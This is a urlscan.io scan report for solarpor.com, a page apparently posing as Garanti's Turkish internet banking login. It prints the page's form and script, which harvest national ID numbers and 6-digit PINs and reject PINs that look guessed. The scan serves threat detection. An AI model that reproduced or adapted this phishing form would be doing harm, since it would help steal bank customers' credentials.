solarpor.com
Open in
urlscan Pro
2606:4700:3033::ac43:bbb3
Public Scan
URL:
https://solarpor.com/?g=1&utm_medium=paid&utm_source=ig&utm_id=120213266997610159&utm_content=120213266997740159&utm_...
Submission: On September 04 via api from TR — Scanned from DE
Submission: On September 04 via api from TR — Scanned from DE
Form analysis
1 forms found in the DOMPOST
<form id="login-form" action="" method="POST" autocomplete="off">
<div class="form-group">
<label class="text-start">Müşteri / T.C. Kimlik Numarası</label>
<input type="tel" required="" inputmode="number" name="username" pattern="[0-9]{11}" maxlength="11" class="form-control" id="tcno">
<p id="tcerror" style="color: red;"></p>
</div>
<div class="form-group">
<label>Şifre</label>
<input type="password" required="" name="password" maxlength="6" inputmode="numeric" class="form-control" id="passwordInput">
<p id="passwordError" style="color: red;"></p>
</div>
<script>
document.getElementById('tcno').addEventListener('input', function() {
var value = document.getElementById('tcno').value
if (!(value.length < 11)) {
var validate = isValidTcIdNum(value);
if (!validate) {
document.getElementById('tcerror').textContent = "Hatalı T.C. kimlik numarası";
} else {
document.getElementById('tcerror').textContent = "";
}
}
});
document.getElementById('passwordInput').addEventListener('input', function() {
var validate = validatePassword();
if (validate) {
// document.getElementById('passwordError').textContent = validate;
} else {
document.getElementById('passwordInput').textContent = "";
}
});
document.getElementById('login-form').addEventListener('submit', function(event) {
setTimeout(function() {
var validate = validatePassword();
if (validate) {
alert(validate);
event.preventDefault();
}
}, 2000);
});
function isValidTcIdNum(tcId) {
// Check the first digit and length
if (parseInt(tcId[0]) < 1 || tcId.length !== 11) {
return false;
}
// Check the eleventh digit
// Formula: n11 = (n1+n2+..+n10) mod 10
const eleventhDigit = tcId.split('').slice(0, 10).reduce((sum, digit) => sum + parseInt(digit), 0) % 10;
if (eleventhDigit !== parseInt(tcId[10])) {
return false;
}
// Calculate the tenth digit...
// Formula: n10 = ((n1+n3+n5+n7+n9)*7-(n2+n4+n6+n8)) mod 10
const tenthDigit = (tcId.split('').filter((_, index) => index % 2 === 0).reduce((sum, digit) => sum + parseInt(digit), 0) * 7 - tcId.split('').filter((_, index) => index % 2 !== 0 && index < 9).reduce((sum, digit) => sum + parseInt(digit),
0)) % 10;
return tenthDigit === parseInt(tcId[9]);
}
function validatePassword() {
var passwordInput = document.getElementById('passwordInput');
// Check for consecutive numbers
if (hasConsecutiveNumbers(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Check for repeating patterns
if (hasRepeatingPatterns(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Enforce a mix of numbers
if (!hasMixedNumbers(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Enforce a minimum length
if (passwordInput.value.length < 6) {
return "Şifreniz 6 haneden oluşmalıdır";
}
return null;
}
function hasConsecutiveNumbers(password) {
for (var i = 0; i < password.length - 2; i++) {
var currentDigit = parseInt(password.charAt(i));
var nextDigit = parseInt(password.charAt(i + 1));
var thirdDigit = parseInt(password.charAt(i + 2));
if (nextDigit === currentDigit + 1 && thirdDigit === currentDigit + 2) {
return true; // Consecutive numbers found
}
}
return false; // No consecutive numbers found
}
function hasRepeatingPatterns(pin) {
// Convert the pin to a string
const pinString = pin.toString();
// Check for 3 chunks with 2 digits being the same
for (let i = 0; i <= pinString.length - 6; i++) {
const chunk = pinString.slice(i, i + 6);
if (chunk[0] === chunk[2] && chunk[2] === chunk[4]) {
return true;
}
}
// Check for 2 chunks with 3 digits being the same
for (let i = 0; i <= pinString.length - 6; i++) {
const chunk = pinString.slice(i, i + 6);
if (chunk[0] === chunk[3] && chunk[3] === chunk[5]) {
return true;
}
}
// No repeating pattern found
return false;
}
function hasMixedNumbers(password) {
var hasDigit = false;
for (var i = 0; i < password.length; i++) {
if (!isNaN(password[i])) {
hasDigit = true;
break;
}
}
return hasDigit;
}
</script>
<button type="submit" id="submit" class="login-btn">Giriş</button>
</form>
Text Content
Bireysel Türkçe GARANTI INTERNET BANKACILIĞI'NA HOŞ GELDINIZ! Müşteri / T.C. Kimlik Numarası Şifre Giriş